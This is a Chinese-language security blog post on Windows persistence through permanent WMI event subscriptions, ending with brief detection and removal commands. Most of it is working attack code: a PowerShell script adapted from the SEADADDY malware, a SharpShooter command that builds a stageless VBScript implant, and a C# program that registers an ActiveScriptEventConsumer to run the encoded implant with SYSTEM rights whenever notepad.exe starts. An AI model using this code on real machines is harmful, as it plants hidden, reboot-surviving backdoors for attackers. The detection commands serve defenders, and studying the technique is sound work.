永久性 WMIC 事件订阅 - 权限维持(三)

本文是针对Windows常见持久控制的第三次说明。

与之前的文章不同,这个操作需要管理员权限。

0x00 前言

在日常中,使用 WMI 都是用于信息的收集,如下:

1
2
3
4
5
6
7
8
9
wmic qfe list #获取补丁信息
wmic startup list brief # 启动的程序
wmic startup list full # 自启动的程序
wmic process call create "calc.exe" # 在当前机器中执行指定程序
wmic process where name='*.exe' list full #查询某个进程所对应某个具体的可执行程序是什么
wmic process where(description="rundll32.exe") # 查看rundll32所加载的dll
wmic cpu get DataWidth /format:list # 查询当前机器的操作系统位数
wmic share get name,path,status #利用wmic查找共享
wmic logicaldisk where drivetype=3 get name,freespace,systemname,filesystem,volumeserialnumber,size #查看分区

但其实它的功能还有很多,比如:

1
2
3
4
5
防病毒检测
代码执行
横向移动
持久化
盗取数据

这里就针对持久化进行说明 。

0x01 查询 WMI

WMI 提供了一种非常直观的语法用来查询WMI对象的实例,类和命名空间,即 WQL (类似 SQL的查询语言)。WQL查询通常可以分为以下几类:

  • Instance Queries(实例查询):查询WMI对象实例。
  • Event Queries(事件查询):等同于在WMI对象创建/修改/删除的时候注册一个消息。
  • Meta Queries(元查询):元查询用来获取WMI命名空间和类结构的元信息。

1.1 Instance Queries

这是最常用的WQL查询。基本的格式如下:
SELECT [Class property name | *] FROM [CLASS NAME] <WHERE [CONSTRAINT]>

  • 下面的查询语句将返回所有可执行文件名中带有 chrome 的正在运行的进程:
    SELECT * FROM Win32_Process WHERE Name LIKE "%chrome%"

1.2 Event Queries

事件查询被用作一种消息机制来监听事件类的触发。通常用来在一个WMI对象实例创建/修改/删除的时候给用户发送一个消息。根据消息类型是 intrinsic(系统自带的)还是 extrinsic(第三方的),查询语句格式不同:

1
2
3
SELECT [Class property name | *] FROM [INTRINSIC CLASS NAME] WITHIN [POLLING INTERVAL] <WHERE [CONSTRAINT]>

SELECT [Class property name | *] FROM [EXTRINSIC CLASS NAME] <WHERE [CONSTRAINT]>
  • 用于登陆时都会触发此事件:

    1
    SELECT * FROM __InstanceCreationEvent WITHIN 15 WHERE TargetInstanceISA 'Win32_LogonSession' AND TargetInstance.LogonType=2
  • 每次用户在插入可移除设备时都会触发此事件:

    1
    SELECT * FROM Win32_VolumeChangeEvent Where EventType=2
  • 每次创建 win32 进程时都会触发此事件:

    1
    Select * From __InstanceCreationEvent Where TargetInstance Isa "Win32_Process"

1.3 Meta Queries

元查询用来查询WMI命名空间和类结构的信息。最常见的用法是用来列举WMI命名空间的类结构。元查询是实例查询的一个子集,但是与对象查询不同的是,我们查询的是类的实例的定义。

  • 格式如下:

    1
    SELECT [Class property name | *] FROM [Meta_Class | SYSTEM CLASS NAME] <WHERE [CONSTRAINT]>
  • 下面这个语句会查询所有以 WIN32 开头的WMI的类:
    SELECT * FROM Meta_Class WHERE __CLASS LIKE "Win32%"

  • 下面这个语句会查询某个命名空间下的所有命名空间:
    SELECT Name FROM __NAMESPACE

注意,当不显示的指定命名空间时,默认的命名空间为ROOT\CIMV2

0x02 与WMI交互

Microsoft和一些第三方软件开发者为我们提供了许多能够与WMI交互的工具。

下面是部分工具的一个不完全的列表

1
2
3
4
5
6
7
8
9
1、PowerShell
2、wmic.exe
3、wbemtest.exe
4、WMI Explorer
5、CIM Studio
6、Windows Script Host (WSH) languages
7、C/C++ via IWbem* COM API
8、.NET using System.Management classes
9、winrm.exe

0x03 WMI事件

WMI事件分两类,包括本地事件(运行在本地上下文环境当中的单个进程的事件)和永久性WMI事件订阅

本地事件有生命周期为进程宿主的周期,而永久性 WMI事件 是存储在WMI库中,以 SYSTEM 权限运行,并且重启后依然存在。

3.1 前置条件

为了能够安装一个永久性的 WMI 事件订阅,必须满足两个条件:

  • 一个 __EventFilter 查询,它创建一个过滤器,为我们的特定事件选择触发器;
  • Event Consumer Class,代表一个事件触发时所执行的操作。

Event Consumers(事件处理)中,可用的标准事件处理类:

1
2
3
4
5
LogFileEventConsumer: 将事件数据写入到指定的日志文件
ActiveScriptEventConsumer: 用来执行VBScript/JScript程序
NTEventLogEventConsumer:创建一个包含事件数据的日志入口点
SMTPEventConsumer:将事件数据用邮件发送
CommandLineEventConsumer:执行一条命令

利用点

  • ActiveScriptEventConsumer,允许执行任意脚本(支持 JScriptVBScript 引擎)
  • CommandLineEventConsumer,允许执行任意命令

3.2 测试

使用以下查询进行测试:

Select * From __InstanceCreationEvent Where TargetInstance Isa "Win32_Process"

为了方便测试,此处使用 Powershell 的 Register-WMIEvent 安装触发器。

blog_2019-05-30_11-42-33

以上测试不符合实际需求。

3.3 Powershell 实例(命令执行)

下面的 PowerShell 代码来自一个叫 SEADADDY 的恶意软件的修改版,用来通过WMI做持久化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$EventFilterName = 'BotFilter11'
$EventConsumerName = 'BotConsumer22'

$EventFilterArgs = @{
EventNamespace = 'root\cimv2'
Name = $EventFilterName
Query = 'Select * From __InstanceCreationEvent Where TargetInstance Isa "Win32_Process"'
QueryLanguage="WQL"
}

$WMIEventFilter = Set-WmiInstance -NameSpace 'root\subscription' -Class __EventFilter -Arguments $EventFilterArgs -ErrorAction Stop

$CommandLineumerArgs =@{
Name=$EventConsumerName
CommandLineTemplate='C:\Windows\System32\calc.exe'
}

$WMIEventConsumer = Set-WmiInstance -Namespace 'root\subscription' -Class CommandLineEventConsumer -Arguments $CommandLineumerArgs

$WMIEventFilterToConsumerArgs = @{
Filter=$WMIEventFilter
Consumer=$WMIEventConsumer
}

Set-WmiInstance -Namespace 'root\subscription' -Class __FilterToConsumerBinding -Arguments $WMIEventFilterToConsumerArgs

但是这里实测失败,就算使用C#去添加 CommandLineEventConsumer 也是失败的,但是 LogFileEventConsumer 可成功。

3.4 C# 实例(代码执行)

本示例执行的是 VBScript

使用SharpShooter生成 VBSceipt 类型的 payload友情提示:一定要生成 64位的 payload。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
> python SharpShooter.py --stageless --dotnetver 2 --payload vbs --output implantvbs --rawscfile payload64.bin

_____ __ _____ __ __
/ ___// /_ ____ __________ / ___// /_ ____ ____ / /____ _____
\__ \/ __ \/ __ `/ ___/ __ \__ \/ __ \/ __ \/ __ \/ __/ _ \/ ___/
___/ / / / / /_/ / / / /_/ /__/ / / / / /_/ / /_/ / /_/ __/ /
/____/_/ /_/\__,_/_/ / .___/____/_/ /_/\____/\____/\__/\___/_/
/_/

Dominic Chell, @domchell, MDSec ActiveBreach, v2.0

[*] Written delivery payload to output/implantvbs.vbs
运行vbs,成功上线,再进行 base64 编码
> base64 -i output/implantvbs.vbs >>implantvbs-base64.txt

示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
// WMI Event Subscription Peristence Demo
// Author: @domchell

using System;
using System.Text;
using System.Management;

namespace WMIPersistence
{
class Program
{
static void Main(string[] args)
{
PersistWMI();
}

static void PersistWMI()
{
ManagementObject myEventFilter = null;
ManagementObject myEventConsumer = null;
ManagementObject myBinder = null;

string vbscript64 = "<INSIDE base64 encoded VBS here>";
string vbscript = Encoding.UTF8.GetString(Convert.FromBase64String(vbscript64));
try
{
ManagementScope scope = new ManagementScope(@"\\.\root\subscription");

ManagementClass wmiEventFilter = new ManagementClass(scope, new
ManagementPath("__EventFilter"), null);
String strQuery = @"SELECT * FROM __InstanceCreationEvent WITHIN 5 " +
"WHERE TargetInstance ISA \"Win32_Process\" " +
"AND TargetInstance.Name = \"notepad.exe\"";

WqlEventQuery myEventQuery = new WqlEventQuery(strQuery);
myEventFilter = wmiEventFilter.CreateInstance();
myEventFilter["Name"] = "demoEventFilter";
myEventFilter["Query"] = myEventQuery.QueryString;
myEventFilter["QueryLanguage"] = myEventQuery.QueryLanguage;
myEventFilter["EventNameSpace"] = @"\root\cimv2";
myEventFilter.Put();
Console.WriteLine("[*] Event filter created.");

myEventConsumer =
new ManagementClass(scope, new ManagementPath("ActiveScriptEventConsumer"),
null).CreateInstance();
myEventConsumer["Name"] = "BadActiveScriptEventConsumer";
myEventConsumer["ScriptingEngine"] = "VBScript";
myEventConsumer["ScriptText"] = vbscript;
myEventConsumer.Put();

Console.WriteLine("[*] Event consumer created.");

myBinder =
new ManagementClass(scope, new ManagementPath("__FilterToConsumerBinding"),
null).CreateInstance();
myBinder["Filter"] = myEventFilter.Path.RelativePath;
myBinder["Consumer"] = myEventConsumer.Path.RelativePath;
myBinder.Put();

Console.WriteLine("[*] Subscription created");
}
catch (Exception e)
{
Console.WriteLine(e);
} // END CATCH
Console.ReadKey();
} // END FUNC
} // END CLASS
} // END NAMESPACE

管理员权限运行生成的exe,演示 GIF

blog_2019-05-29_11-42-33

0x04 WMI后门检测及清除

4.1 Sysmon日志

略….

4.2 查看当前WMI Event

1
2
3
4
5
6
7
8
#List Event Filters
Get-WMIObject -Namespace root\Subscription -Class __EventFilter

#List Event Consumers
Get-WMIObject -Namespace root\Subscription -Class __EventConsumer

#List Event Bindings
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding

4.3 清除后门

1
2
3
4
5
6
7
8
#Filter
Get-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter "Name='BotFilter82'" | Remove-WmiObject -Verbose

#Consumer
Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer -Filter "Name='BotConsumer23'" | Remove-WmiObject -Verbose

#Binding
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding -Filter "__Path LIKE '%BotFilter82%'" | Remove-WmiObject -Verbose

0x05 参考

Persistence: “the continued or prolonged existence of something”: Part 3 – WMI Event Subscription
WMI Attacks
利用WMI构建无文件后门(基础篇)

!坚持技术分享,您的支持将鼓励我继续创作!